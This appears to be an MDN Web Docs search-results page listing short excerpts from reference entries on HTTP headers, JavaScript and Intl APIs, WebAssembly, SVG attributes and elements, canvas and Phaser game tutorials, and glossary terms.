WebHTTPHeadersPragma
the pragma http/1.0 general header is an implementation-specific header that may have various effects along the request-response chain.
... it is used for backwards compatibility with http/1.0 caches where the cache-control http/1.1 header is not yet present.
... note: pragma is not specified for http responses and is therefore not a reliable replacement for the general http/1.1 cache-control header, although it does behave the same as cache-control: no-cache, if the cache-control header field is omitted in a request.
...And 3 more matches
Save-Data - HTTP
the save-data header field is a boolean which, in requests, indicates the client's preference for reduced data usage.
... this could be for reasons such as high transfer costs, slow connection speeds, etc.
... a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
...And 3 more matches
User-Agent - HTTP
the user-agent request header is a characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.
... rv:geckoversion indicates the release version of gecko (such as "17.0").
...(on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and provides the version (such as "17.0").
...And 3 more matches
X-Frame-Options - HTTP
note: the content-security-policy http header has a frame-ancestors directive which obsoletes this header for supporting browsers.
...the spec leaves it up to browser vendors to decide whether this option applies to the top level, the parent, or the whole chain, although it is argued that the option is not very useful unless all ancestors are also in the same origin (see bug 725490).
...note that in the legacy firefox implementation this still suffered from the same problem as sameorigin did — it doesn't check the frame ancestors to see if they are in the same origin.
...And 3 more matches
SyntaxError: invalid regular expression flag "x" - JavaScript
message syntaxerror: syntax error in regular expression (edge) syntaxerror: invalid regular expression flag "x" (firefox) syntaxerror: invalid regular expression flags (chrome) error type syntaxerror what went wrong?
...in a regular expression literal, which consists of a pattern enclosed between slashes, the flags are defined after the second slash.
... to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re = new regexp('pattern', 'flags'); regular expression flags flag description g global search.
...And 3 more matches
TypeError: 'x' is not iterable - JavaScript
the javascript exception "is not iterable" occurs when the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.from, is not an iterable object.
... message typeerror: 'x' is not iterable (firefox, chrome) typeerror: 'x' is not a function or its return value is not iterable (chrome) error type typeerror what went wrong?
... the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.from, is not an iterable object.
...And 3 more matches
Array.prototype.findIndex() - JavaScript
see also the find() method, which returns the value of an array element, instead of its index.
... syntax arr.findindex(callback( element[, index[, array]] )[, thisarg]) parameters callback a function to execute on each value in the array until the function returns true, indicating that the satisfying element was found.
... if such an element is found, findindex() immediately returns the element's index.
...And 3 more matches
Array.prototype.length - JavaScript
the length property of an object which is an instance of type array sets or returns the number of elements in that array.
...when you extend an array by changing its length property, the number of actual elements increases; for example, if you set length to 3 when it is currently 2, the array now contains 3 elements, which causes the third element to be a non-iterable empty slot.
...console.log(arr); // [ 1, 2, <3 empty items> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array.
...And 3 more matches
Date.prototype.toLocaleDateString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
... the default value for each date-time component property is undefined, but if the weekday, year, month, day properties are all undefined, then year, month, and day are assumed to be "numeric".
...And 3 more matches
Date.prototype.toLocaleTimeString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
... the default value for each date-time component property is undefined, but if the hour, minute, second properties are all undefined, then hour, minute, and second are assumed to be "numeric".
...And 3 more matches
Intl.Collator.supportedLocalesOf() - JavaScript
syntax intl.collator.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in collation that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
syntax intl.datetimeformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.DisplayNames.supportedLocalesOf() - JavaScript
syntax intl.displaynames.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.ListFormat.supportedLocalesOf() - JavaScript
syntax intl.listformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.NumberFormat() constructor - JavaScript
syntax new intl.numberformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
...possible values include: "adlm", "ahom", "arab", "arabext", "bali", "beng", "bhks", "brah", "cakm", "cham", "deva", "diak", "fullwide", "gong", "gonm", "gujr", "guru", "hanidec", "hmng", "hmnp", "java", "kali", "khmr", "knda", "lana", "lanatham", "laoo", "latn", "lepc", "limb", "mathbold", "mathdbl", "mathmono", "mathsanb", "mathsans", "mlym", "modi", "mong", "mroo", "mtei", "mymr", "mymrshan", "mymrtlng", "newa", "nkoo", "olck", "orya", "osma", "rohg", "saur", "segment", "shrd", "sind", "sinh", "sora", "sund", "takr", "talu", "tamldec", "telu", "thai", "tibt", "tirh", "vaii", "wara", "wcho".
...possible values are the iso 4217 currency codes, such as "usd" for the us dollar, "eur" for the euro, or "cny" for the chinese rmb — see the current currency & funds code list.
...And 3 more matches
Intl.NumberFormat.supportedLocalesOf() - JavaScript
syntax intl.numberformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in number formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.PluralRules.supportedLocalesOf() - JavaScript
syntax intl.pluralrules.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in plural formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
syntax intl.relativetimeformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
...an object that may have the following property: localematcher the locale matching algorithm to use.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Number.prototype.toLocaleString() - JavaScript
in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...english locale checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet.
... to check for support in es5.1 and later implementations, the requirement that illegal language tags are rejected with a rangeerror exception can be used: function tolocalestringsupportslocales() { var number = 0; try { number.tolocalestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } prior to es5.1, implementations were not required to throw a range error exception if tolocalestring is called with arguments.
...And 3 more matches
Object.defineProperties() - JavaScript
syntax object.defineproperties(obj, props) parameters obj the object on which to define or modify properties.
...each value in props must be either a data descriptor or an accessor descriptor; it cannot be both (see object.defineproperty() for more details).
... data descriptors and accessor descriptors may optionally contain the following keys: configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.
...And 3 more matches
Object.getOwnPropertyDescriptor() - JavaScript
the object.getownpropertydescriptor() method returns an object describing the configuration of a specific property on a given object (that is, one directly present on an object and not in the object's prototype chain).
... syntax object.getownpropertydescriptor(obj, prop) parameters obj the object in which to look for the property.
... writable true if and only if the value associated with the property may be changed (data descriptors only).
...And 3 more matches
RegExp.prototype.sticky - JavaScript
the sticky property reflects whether or not the search is sticky (searches in strings only from the index indicated by the lastindex property of this regular expression).
...the "y" flag indicates that it matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
... you cannot change this property directly.
...And 3 more matches
String.prototype.slice() - JavaScript
syntax str.slice(beginindex[, endindex]) parameters beginindex the zero-based index at which to begin extraction.
... endindex optional the zero-based index before which to end extraction.
... the character at this index will not be included.
...And 3 more matches
String.prototype.startsWith() - JavaScript
the startswith() method determines whether a string begins with the characters of a specified string, returning true or false as appropriate.
... syntax str.startswith(searchstring[, position]) parameters searchstring the characters to be searched for at the start of this string.
... position optional the position in this string at which to begin searching for searchstring.
...And 3 more matches
TypedArray.prototype.map() - JavaScript
description the map() method calls a provided callback function (mapfn) once for each element in a typed array, in order, and constructs a new typed array from the results.
... mapfn is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes that are undefined, those which have been deleted, or which have never been assigned values.
... map() does not mutate the typed array on which it is called (although mapfn, if invoked, may do so).
...And 3 more matches
WeakMap - JavaScript
the weakmap object is a collection of key/value pairs in which the keys are weakly referenced.
...setting elements on this map would involve pushing a key and value onto the end of each of those arrays simultaneously.
...getting values from the map would involve iterating through all keys to find a match, then using the index of this match to retrieve the corresponding value from the array of values.
...And 3 more matches
WebAssembly.Global() constructor - JavaScript
syntax new webassembly.global(descriptor, value); parameters descriptor a globaldescriptor dictionary object, which contains two properties: value: a usvstring representing the data type of the global.
...this can be any value, as long as its type matches the variable's data type.
... the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value).
...And 3 more matches
WebAssembly.Memory() constructor - JavaScript
the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); creating a shared memory by default, webassembly memories are unshared.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
WebAssembly.Module() constructor - JavaScript
the webassembly.module() constructor function can be called to synchronously compile given webassembly binary code.
... however, the primary way to get a module is through an asynchronous compilation function like webassembly.compile().
... syntax important: since compilation for large modules can be expensive, developers should only use the module() constructor when synchronous compilation is absolutely required; the asynchronous webassembly.compilestreaming() method should be used at all other times.
...And 3 more matches
WebAssembly.Module.customSections() - JavaScript
return value a (possibly empty) array containing arraybuffer copies of the contents of all custom sections matching sectionname.
...(read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.) this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build).
... we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0.
...And 3 more matches
isNaN() - JavaScript
such values do not necessarily represent overflow conditions.
... a nan also results from attempted coercion to numeric values of non-numeric values for which no primitive numeric value is available.
...thus for non-numbers that when coerced to numeric type result in a valid non-nan numeric value (notably the empty string and boolean primitives, which when coerced give numeric values zero or one), the "false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion stems from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values.
...And 3 more matches
Function expression - JavaScript
can be omitted, in which case the function is anonymous.
... statements optional the statements which comprise the body of the function.
...the main difference between a function expression and a function declaration is the function name, which can be omitted in function expressions to create anonymous functions.
...And 3 more matches
const - JavaScript
constants are block-scoped, much like variables defined using the let keyword.
... the value of a constant can't be changed through reassignment, and it can't be redeclared.
...[, namen = valuen]]]; namen the constant's name, which can be any legal identifier.
...And 3 more matches
Web app manifests
web app manifests are part of a collection of web technologies called progressive web apps (pwas), which are websites that can be installed to a device’s homescreen without an app store.
... the web app manifest provides information about a web application in a json text file, necessary for the web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience).
...click each one for more information about it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "...
...And 3 more matches
<maction> - MathML
the action itself is specified by the actiontype attribute, which accepts several values.
... to specify which child elements are addressed by the action, you can make use of the selection attribute.
... attributes actiontype the action which specifies what happens for this element.
...And 3 more matches
<ms> - MathML
WebMathMLElementms
by default, string literals are displayed as enclosed by double quotes (&quot;); by using the lquote and rquote attributes, you can set custom characters to display.
...the content of an <ms> element is not an ascii string per se, but rather a sequence of characters and <mglyph> and <malignmark> elements.
... lquote the opening quote character (depends on dir) to enclose the content.
...And 3 more matches
Understanding latency - Web Performance
we can determine the amount of latency by measuring the speed with which the data moves from one network location to another.
... network throttling to emulate the latency of a low bandwidth network, you can use developer tools and switch to a lower end network connection.
... in the developer tools, under the network table, you can switch the throttling option to 2g, 3g, etc.
...And 3 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
op-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/> </mask> </svg> .target { mask: url(#mask-1); } p { width: 300px; border: 1px solid #000; display: inline-block; } note that in the css, the mask is specified using a url to the id #mask-1, which is the id of the svg mask specified below it.
... you can make changes to the svg in real time and see them immediately affect the rendering of the html.
...it establishes several filters, which are applied with css to three elements in both the normal and mouse hover states.
...And 3 more matches
color-interpolation-filters - SVG: Scalable Vector Graphics
it has no affect on filter functions, which operate in the srgb color space.
...nttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> usage notes value auto | srgb | linearrgb default value linearrgb animatable yes auto indicates that the user agent can choose either the srgb or linearrgb spaces for color interpolation.
... working draft no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation-filters' in that specification.
...And 3 more matches
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
a value of display="none" indicates that the given element and its children will not be rendered.
... when applied to a container element, setting display to none causes the container and all of its children to be invisible; thus, it acts on groups of elements as a group.
... this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none.
...And 3 more matches
in - SVG: Scalable Vector Graphics
WebSVGAttributein
the value can be either one of the six keywords defined below, or a string which matches a previous result attribute value within the same <filter> element.
...sourcealpha has all of the same rules as sourcegraphic except that only the alpha channel is used.
... backgroundalpha same as backgroundimage except only the alpha channel is used.
...And 3 more matches
keyTimes - SVG: Scalable Vector Graphics
each time in the list corresponds to a value in the values attribute list, and defines when the value is used in the animation.
... each time value in the keytimes list is specified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the duration of the animation element.
... each successive time value must be greater than or equal to the preceding time value.
...And 3 more matches
pointer-events - SVG: Scalable Vector Graphics
to change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-events="visiblepoint" /> <!-- the circle below will never catch a mouse event.
... the rect underneath will change color whether you are clicking on the circle or the rect itself --> <rect x="10" y="0" height="10" width="10" fill="black" /> <circle cx="15" cy="5" r="4" fill="white" pointer-events="none" /> </svg> window.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse...
...>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | none default value visiblepainted animatable yes for a detailed explanation of each possible value, have a look at the css pointer-events documentation.
...And 3 more matches
requiredFeatures - SVG: Scalable Vector Graphics
it determines whether or not all of the named features are supported by the browser; if all of them are supported, the attribute evaluates to true end the element is rendered; otherwise, the attribute evaluates to false and the current element and its children are skipped and thus will not be rendered.
... requiredfeatures is often used in conjunction with the <switch> element.
... if requiredfeatures is used in other situations, it represents a simple switch on the given element whether to render the element or not.
...And 3 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
--> <path d="m9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="highlight"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5.5" r="0.05" fill="pink" /> </g> <use xlink:href="#highlight" x="6" /> <use xlink:href="#highlight" x="12" /> <use xl...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "arcs" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> bevel the bevel value indicates that a bevelled corner is to be used to join path segments.
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "bevel" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> miter the miter value indicates that a sharp corner is to be used to join path segments.
...And 3 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
the exact content text position is influenced by some properties like text-anchor, or direction.
... if there are multiple values, x defines the x coordinate of each individual glyph from the text.
...the exact content text position is influenced by some properties like text-anchor, or direction.
...And 3 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
the exact content text position is influenced by some properties like text-anchor, or direction.
... if there are multiple values, y defines the y coordinate of each individual glyph from the text.
...the exact content text position is influenced by some properties like text-anchor, or direction.
...And 3 more matches
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
svg's <a> element is a container, which means you can create a link around text (like in html) but also around any shape.
... @namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> &lt;circle&gt; </text> </a> </svg> /* as svg does not provide a default visual style for links, it's considered best practice to add some */ @namespace svg url(http://www.w3.org/2000/svg); /* necessary to select only svg <a> elements, and not also html’s.
... value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
...And 3 more matches
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
the <altglyph> svg element allows sophisticated selection of the glyphs used to render its child character data.
... usage context categoriestext content element, text content child elementpermitted contentany elements or character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element.
... value type: <list-of-numbers> ; default value: none; animatable: yes (non-additive) glyphref the glyph identifier, the format of which is dependent on the format defined by the format attribute of the given font.
...And 3 more matches
<feConvolveMatrix> - SVG: Scalable Vector Graphics
a wide variety of imaging operations can be achieved through convolutions, including blurring, edge detection, sharpening, embossing and beveling.
... a matrix convolution is based on an n-by-m matrix (the convolution kernel) which describes how a given pixel value in the input image is combined with its neighboring pixel values to produce a resulting pixel value.
... each result pixel is determined by applying the kernel matrix to the corresponding source pixel and its neighboring pixels.
...And 3 more matches
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the <fediffuselighting> svg filter primitive lights an image using the alpha channel as a bump map.
... the resulting image, which is an rgba opaque image, depends on the light color, light position and surface geometry of the input bump map.
... example the following example show the effect of the <fediffuselighting> element on a circle with each light source available.
...And 3 more matches
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
« svg / svg attribute reference » svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams.
... here you'll find reference documentation for each of the svg elements.
... <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <fedistantlight> <fedropshadow> <feflood> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <script> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> ...
...And 3 more matches
Basic Transformations - SVG: Scalable Vector Graphics
transformations can be chained simply by concatenating them, separated by whitespace.
...each one takes an angle that determines how far the element will be skewed.
... scaling scale() changes the size of an element.
...And 3 more matches
Features restricted to secure contexts - Web security
api chrome/opera edge safari firefox async clipboard api 66 not supported not supported 63 background sync (see syncmanager, for example) 49 not supported not supported not supported cache-control: immutable not supported 15 11 49 credential management api 51 not supported not supported not supported ...
...this section lists any such differences existing in browsers.
... api chrome edge safari firefox application cache restricted to secure contexts planned in chrome 70 deprecation planning started in february 2018 public interest on deprecation webkit bug 182442 restricted to secure contexts in firefox 62 geolocation restricted to secure contexts in 50 restricted to secure contexts in 10 restricted to secure contexts in 55 device orientaion / device motion deprecation warning deprecation warnings since 60.
...And 3 more matches
XML introduction - XML: Extensible Markup Language
this is a powerful way to store data in a format that can be stored, searched, and shared.
... document must conform to semantic rules, which are usually set in an xml schema or a dtd (document type definition).
... entities like html, xml offers methods (called entities) for referring to some special reserved characters (such as a greater than sign which is used for tags).
...And 3 more matches
translate - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the translate function evaluates a string and a set of characters to translate and returns the translated string.
... abc the string of characters that will be replaced.
... xyz the string of characters used for replacement.
...And 3 more matches
Exported WebAssembly functions - WebAssembly
an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); co...
... we then get the function exported from the module, retrieve the functions it references via tbl.get() and log the result of invoking each one to the console.
... to prove this, we then retrieve these references back from othertable and print their results to console too, which gives the same results.
...And 3 more matches
Building up a basic demo with PlayCanvas - Game development
note: check out the list of featured demos to find more examples.
...those approaches are different but work equally well regarding achieving end goals.
...that's quite an impressive list of features — let's see some in action, check out the building up a basic demo with playcanvas engine for details.
...And 2 more matches
Square tilemaps implementation: Scrolling maps - Game development
note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
... the camera the camera is an object that holds information about which section of the game world or level is currently being shown.
... cameras can either be free-form, controlled by the player (such as in strategy games) or follow an object (such as the main character in platform games.) regardless of the type of camera, we would always need information regarding its current position, viewport size, etc.
...And 2 more matches
Create the Canvas and draw on it - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <script> // javascript code goes here </script> </body> </html> we have a charset defined, <title> and some basic css in the header.
...in our case the rectangle is painted 20 pixels from the left side of the screen and 40 pixels from the top side, and is 50 pixels wide and 50 pixels high, which makes it a perfect square.
...thanks to the alpha channel in the rgba() function, the blue color is semi transparent.
...And 2 more matches
Finishing up - Game development
so, in the draw() function replace the following three lines: alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game with this, we can add slightly more complex logic to it as given below: lives--; if(!lives) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } else { x = canvas.width/2; y = canvas.height-30; dx = 2; dy = -2; paddlex = (canvas.width-paddlewidth)/2; } now, when the ball hits the botto...
... drawlives(); improving rendering with requestanimationframe() now let's work on something that is not connected to the game mechanics, but to the way it is being rendered.
...replace the following line: var interval = setinterval(draw, 10); with simply: draw(); and remove each instance of: clearinterval(interval); // needed for chrome to end game then, at the very bottom of the draw() function (just before the closing curly brace), add in the following line, which causes the draw() function to call itself over and over again: requestanimationframe(draw); the draw() function is now getting executed again and again within a requestanimationframe() loop, but instead of the fixed 10 milliseconds frame rate, we are giving control of the framerate back to the browser.
...And 2 more matches
Collision detection - Game development
now onto the next challenge — the collision detection between the ball and the bricks.
... luckily enough we can use the physics engine to check collisions not only between single objects (like the ball and the paddle), but also between an object and the group.
...first, add a new line inside your update() function that checks for collision detection between ball and bricks, as shown below: function update() { game.physics.arcade.collide(ball, paddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } the ball's position is calculated against the positions of all the bricks in the group.
...And 2 more matches
Physics - Game development
final code check the latest code should look like this: var ball; function preload() { game.scale.scalemode = phaser.scalemanager.show_all; game.scale.pagealignhorizontally = true; game.scale.pagealignvertically = true; game.stage.backgroundcolor = '#eee'; game.load.image('ball', 'img/ball.png'); } function create() { game.physics.startsystem(phaser.physics.arcade); ball = game.
... fun with physics you can do much more with physics, for example by adding ball.body.gravity.y = 100; you will set the vertical gravity of the ball.
... as a result it will be launched upwards, but then fall due to the effects of gravity pulling it down.
...And 2 more matches
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
in other words, an algorithm is a means of describing a way to solve a problem so that it can be solved repeatedly, by humans or machines.
... a sorting algorithm is often used in computer programming to explain a machine how to sort data.
... common algorithms are pathfinding algorithms such as the traveling salesman problem, tree traversal algorithms and so on.
...And 2 more matches
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
a callback function is a function passed into another function as an argument, which is then invoked inside the outer function to complete some kind of routine or action.
... here is a quick example: function greeting(name) { alert('hello ' + name); } function processuserinput(callback) { var name = prompt('please enter your name.'); callback(name); } processuserinput(greeting); the above example is a synchronous callback, as it is executed immediately.
... note, however, that callbacks are often used to continue code execution after an asynchronous operation has completed — these are called asynchronous callbacks.
...And 2 more matches
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
brief history in 1990, as part of his vision of the web, tim berners-lee defined the concept of hypertext, which berners-lee formalized the following year through a markup mainly based on sgml.
...elements are surrounded by matching opening and closing tags.
... each tag begins and ends with angle brackets (<>).
...And 2 more matches
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of css (cascading style sheets), the term media refers to the destination to which the document is to be drawn by the rendering engine.
... typically, this is a screen—but it may also be a printer, a speech synthesizer, braille display, or another type of device.
... css offers several features that allow you to tweak your document's styles—or even offer different styles—according to the media type (such as screen or print, to name two) or media capabilities (such as width, resolution, or other values) of the viewer's device.
...And 2 more matches
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
for example, nans can represent infinity, result of division by zero, missing value, or the square root of a negative (which is imaginary, whereas a floating-point number is real).
... practically speaking, if i divide two variables in a javascript program, the result may be nan, which is predefined in javascript as "undefined".
...now, if this computation was a small part of a much larger algorithm, it would be really painful to figure out where the error actually occurs.
...And 2 more matches
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
there also is null, which is seemingly primitive, but indeed is a special case for every object: and any structured type is derived from null by the prototype chain.
...the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered.
... javascript // the primitive let foo = 5; // defining a function that should change the primitive value function addtwo(num) { num += 2; } // another function trying to do the same thing function addtwo_v2(foo) { foo += 2; } // calling our first function while passing our primitive as an argument addtwo(foo); // getting the current primitive value console.log(foo); // 5 // trying again with our second function...
...And 2 more matches
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
in css, there are three categories of sources for style changes.
...these may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as stylus or stylish.
